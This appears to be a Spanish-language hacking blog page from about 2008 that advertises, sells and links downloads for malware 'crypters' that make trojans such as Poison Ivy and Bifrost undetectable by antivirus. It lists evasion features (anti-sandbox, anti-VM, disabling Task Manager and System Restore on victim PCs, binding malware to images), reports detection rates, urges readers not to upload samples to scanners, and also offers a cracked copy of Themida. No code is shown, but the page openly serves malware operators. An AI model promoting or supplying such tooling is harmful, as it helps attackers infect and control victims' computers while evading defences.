Encriptadores 2

Hoy les traigo un regalo de parte de 4n0nym0us, el Billar Crypter v1 que al dia de hoy deja indetectable cualquier troyano.

Aprovechen y usenlo durante estos dias porque supongo que no durara mucho, de todas formas si lo detectan lo molestaremos a 4n0nym0us para que saque una version nueva jaja.



Analisis 27/11/08:
http://scanner.novirusthanks.org/index.php?p=result&file=58A7BD6497B2EC89467C6A5A8CDBFBC1

Traten de no subirlo nuevamente asi permanece mas tiempo indetectable

Descarga
Billar Crypter v1 (rapidshare)
Billar Crypter v1 (mediafire)

Contraseña: troyanosyvirus.com.ar

Elite Protector es una nueva herramienta creada en Turquia por WHO!, basicamente sirve para proteger tus archivos. Es ideal para los que trabajan con malware, y HOY en dia es la mejor herramienta que existe del estilo. Ya no se nesesitara tener a mano 10 herramientas para trabajar con tu malware y dejarlo indetectable. Elite protector trae todo en una sola aplicacion, encripta tu aplicacion y la deja 100% indetectable a todos los antivirus, hasta se saltea la defensa proactiva del Kaspersky 2009 y los firewalls.
Incluye un binder para juntar tu malware con cualquier archivo, ya sea una foto, video o cualquier aplicacion, Cambia el icono, agrega mensajes de error durante la ejecucion, agrega metodos de ocultacion, desabilita objetos en la pc victima, protege tu server de SandBoxes y de maquinas virtuales, comprime con UPX y FSG, y muchisimo mas.

Esto no es nada comparado con todo lo que tiene esta poderosa herramienta. A continuacion informacion mas detallada de sus propiedades.



Propiedades

-Opciones
*Anti sandboxie
*Anti Maquinas virtuales
*Bypass defensa Proactiva del kaspersky
*Comprimir el archivo (UPX,FSG,UCL..)
*Ejecutar oculto
*Melt (Borrar archivo al ejecutar)
*Ejecucion en memoria.
*Conservar EOF data
*Realinear PE header
*Eliminar los recursos no utilizados
*Establecer atributos de archivo +H y +S
*Universal Anti Sandboxes
*Validar PE header
*Incrementar sitio con bytes
*Anti VMware
*Anti Anubis sandbox
*Anti Norman sandbox
*Anti CW sandbox
*Anti sunblet sandbox
*Anti "is debug present"
*Anti Thread expert
*Anti JoeBox
*Anti Olly Debug
*Anti Filemon
*Anti Regmon
*Anti Procmon

*Inyectar el archivo en un proceso especifico (FWB+)
-Explorador por defecto
-Seleccionar
*Drop del archivo
-Nombre de archivo:
-Cambiar atributos del archivo (oculto, solo lectura y sistema)
*Cambiar la fecha del archivo por una mas antigua
*Cambiar la extension del archivo
*Proteger el archivo con contraseña
*Desactivar modo a prueba de errores
*Desactivar Administrador de tareas
*Desactivar editor de registro
*Desactivar Restauracion de sistema
*Desactivar Regedit
*Desactivar Ejecutar
*Desactivar Escritorio
*Desactivar Barra de herramientas
*Desactivar Boton inicio
*Desactivar MsConfig

-Configurar cuadro de mensajes

-Icono
*Mantiene icono original
*Sin icono (ahorra unos pocos Kbs)
*Reemplazar el icono (32 Bits)

-Multi Encriptacion
-Llave de encriptacion aleatoria
-Juntar con uno o mas archivos

A continuacion algunas imagenes del programa







Stub Publico - Gratis
El stub publico es un "Simple XOR", es totalmente gratis y al dia de hoy deja un 99% indetectable el server del Poison Ivy y del Bifrost, pero en unos dias este se tornara detectado y ya no dejara indetectable las aplicaciones encriptadas. Por tal motivo si deseas comprar un Stub privado lee mas abajo.

Descarga:
Elite Protector v1.0 Public (mediafire)
Elite Protector v1.0 Public (badongo)
Elite Protector v1.0 Public (rapidshare)



Stub Privados - 70 Euros
Los Stubs privados garantizan 100% de indetectabilidad en tus archivos por un muy largo tiempo, Actualmente tenemos 9 Stubs disponibles, cada uno tiene un precio de 70 Euros, y puedes comprar la cantidad que desees, cada stub es unico.

Stubs disponibles:

[1] Twofish
[2] Blowfish
[3] CryptAPI
[4] DES
[5] Gost
[6] SimpleXOR
[7] RC4
[8] Skipjack
[9] Tiny

Garantia
Los stubs privados tienen una garantia: En caso de que algun antivirus llegara a detectar tu stub, este sera reemplazado directamente, por una nueva version totalmente indetectable. Esto solo se realizara una vez por stub.
(Aclaracion: Esto no quiere decir que tu stub sera detectado en cualquier momento, a veces pueden tardar años sin ser detectado, pero nadie puede asegurar tal cosa.)

Compras
Si estas interesado en comprar elite protector con un stub privado por 70 Euros envia un mail a Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla o contactame mediante LA PAGINA DE CONTACTO y te respondere a la brevedad.

Les traigo una version modificada del K!cryptor que realizo Topcat exclusivamente para los usuarios d troyanosyvirus e indetectables.
Modifico las firmas del KAV, nod32, AVG, Avast, y tambien se saltea Mcafee, Panda, Norton y supongo que otros mas.
Testee el poison ivy 2.3.2 encriptado con este crypter en mi Virtual box con estos antivirus y se los saltea a todos como si nada, tambien funciona con bifrost.

El cliente del K!cryptor dice modificado por Polifemo porque anteriormente habia sido modificado por el, despues Topcat modifico el stub.

Descarga:
K! Cryptor mod de Topcat
K! Cryptor mod de Topcat

Ar crypt es un encriptador privado scantime que deja los archivos encriptados 100% indetectable a los antivirus, los encriptadores scantime solo encriptan durante el escaneo, no durante la ejecucion (runtime), osea que si lo escanean con cualquier antivirus le saldra que el archivo no contiene virus, pero al ejecutarlo el antivirus dara la alerta.
Esto puede ser util para enviar por mail archivos muy detectados por los avs de hotmail o gmail como el bifrost, pero para lo que mas se usa es para encriptar avkillers u otra clase de virus, no es muy recomendado para troyanos.

Esta herramienta es unica y exclusiva de troyanosyvirus asi que no lo suban a VT, ni a ninguna de esas paginas, depende de nosotros de cuanto durara esta herramienta, si dura menos de 2 semanas hare una seccion VIP para descargar este tipo de programas y se soluciona todo.

Descarga:
AR crypt private (mediafire)
AR crypt private (rapidshare)

Small Crypter es un crypter tanto scan-time como run-time que utiliza inyección. Su stub está escrito en asm y un poco retocado a mano, por lo que solamente ocupa 1.3 KB. ¿Qué quiere decir esto? Pues quiere decir que si encriptamos un ejecutable con Small Crypter el tamaño total del mismo solo aunmentará en 1.3KB, es decir, prácticamente nada
Por poner un ejemplo, al encriptar el server del Poison Ivy con Small Crypter el server final solo ocupará 6.6KB.

Testeado con poison ivy 2.3.2 en maquina virtual con avg, nod32 y kav actualizados, se los saltea a todos.

Descarga:
Small Crypter
Small Crypter

Les dejo algunos encriptadores de prinsipios del 2008 para que dejen indetectables sus aplicaciones, hagan pruebas, los modifiquen o lo que quieran, son bastantes indetectables por ser nuevos y privados, pero no duraran mucho porque ya son publicos...

Acid burns Crypter - Private build

Un encriptador muy pequeño pero poderoso, facil de modificarlo, hace un mes era %100 indetectable, ahora lo detecta avg y otros desconocidos.

Descarga: Acid burns Crypter - Private build
Analisis en anubis


Scan Time Cryptor 0.5 private



El scan time cryptor encripta unicamente durante el escaneo, es ideal para encriptar av killers o para mandar por mail, es muy indetectable.

Descarga: Scan Time Cryptor 0.5 private
Analisis en anubis


Cryptic 2.3 mod de Polifemo



Esta es la version modificada del cryptic 2.3 publico de tughack, me deja mi botnet indetectable a todos los avs conocidos, con poison ivy, bifrost y otros conocidos no sirve, detectan la convinacion.

Descarga: Cryptic 2.3 mod de Polifemo

Hola e tenido unos problemas con el creador de estos encriptadores, asi que me canse y pongo a la venta sus encriptadores privados a menor precio.
Los dos son totalmente indetectables.
La version 2.2 tiene un costo de 30 US, y la version 2.3 con la posibilidad de cambiar el icono final cuesta 40US, las dos son totalmente indetectables, el creador las vende a 70 euros cada una.
Estos encriptadores son privados y son menos de 10 personas las que lo tienen y segun ellos nadie lo subio a virustatal, por lo que duraran bastante tiempo.

Imagenes:

CANCELADAS LAS VENTAS

Para consultas, arreglos o demas vallan hacia la pagina de CONTACTO y me agregan al msn o me envian un mail.

Hoy les traigo este encriptador, esta bastante bueno, por su simplicidad y rapidez, no es la gran cosa pero sirve, ya que no sirve themida jaja. Lo probe con el poison ivy 2.3.1, Al server sin encriptar lo detectan 14/32 antivirus, encriptandolo con el fast file crypt lo detectan 6/32, de los cuales son conocidos el panda y el AVG, no lo detectan el karspersky, el nod32, norton, mcaffe, microsoft etc. Habra que ver si funciona bien con bifrost y el shark. Descarguen y pruebenlo juntando con otras aplicaciones, troyanos, etc.

Descarga:
Fast File Crypt 1.6 (Pagina oficial)
Fast File Crypt 1.6 (Mirror subido por mi)

Pagina oficial: http://juzahome.free-web-hosting.biz

Les traigo esta version del Open source crypter, modificado por polifemo en diciembre del 2007.
Lo probe con el bifrost 1.2b y quedo detectable solo a 4 antivirus, 3 que no usa nadie y el kaspersky. Creo que con la version comun 1.2 no funciona muy bien.
Despues lo probe con el poison ivy 2.1.4 version privada, y lo mejoro bastante, sumandole el themida Quedo detectable a solo 2 antivirus que tampoco usa nadie.
El poison ivy 2.3.0 paso de ser detectado por casi todos los antivirus a ser detectado por solo 4 antivirus. Gran mejoria para un troyano tan conocido, y teniendo en cuenta que ademas se le puede modificar las firmas, pasarle themida, etc.
En fin, uno de los mejores encriptadores hoy en dia.

Descarga:
Open crypter Mod de polifemo diciembre del 2007 (subido por polifemo)
Open crypter Mod de polifemo diciembre del 2007 (mirror subido por mi)

Private exe protector - Potente protector polimórfico de 32 bits para aplicaciones windows. Soporta todos los lenguajes populares de programación Asm, C++, VC++, Delphi y otros. Este programa provee a los desarrolladores protección de sus programas contra ingeniería reversa, análisis, modificaciones y cracking. Private exe Protector usa un motor metamórfico y polimórfico (los sniffers nunca podrán detectar la firma), algorítmo de compresión LZMA, potentes trucos antidepuración, importación de virtualizaciones, tecnología de robo de bytes, tecnología de robo de recursos (¡primer protector que usa esto!), algoritmo de encriptación de 256 bits AES, licenciamiento (encripción clave/código), SDK.

Lo probe con el bifrost y funciona mejor que el themida, lo detectan menos antivirus y el server pesa muchisimo menos.

Descarga: Private exe Protector 2.30
Pagina del programa: www.setisoft.com

Bueno gente aca les dejo el Themida 1.8.5 full, listo para usar, crackeado..Pronto hare una guia.



Themida es una aplicación destinada a la protección del software frente a la piratería.

El programa encapsula el código fuente de la aplicación en diferentes partes y las encripta de forma individual. Finalmente, añade una protección global al conjunto del ejecutable.

La tecnología empleada por Themida se denomina SecureEngine, que consiste en una serie de medidas anti-cracking que se añaden a los ejecutables y que sólo permiten la ejecución del programa en un entorno seguro.

Algunas de las características de Themida son las siguientes:
- Técnicas antidepuradores que detectan el uso de depuradores.
- Técnicas para evitar el volcado de memoria en disco.
- Algoritmos de encriptación distintos para cada aplicación.
- Descompilación y ofuscación del código en la aplicación protegida.
- Técnicas antidesambladores, y mucho más.

Descarga Themida v1.8.5.5 [Crackeado]

Cryptic v2.1 - EXE Crypter

No hay que decir de este programa simplemente vean las imagenes y si les gusta descargue y pruebenlo.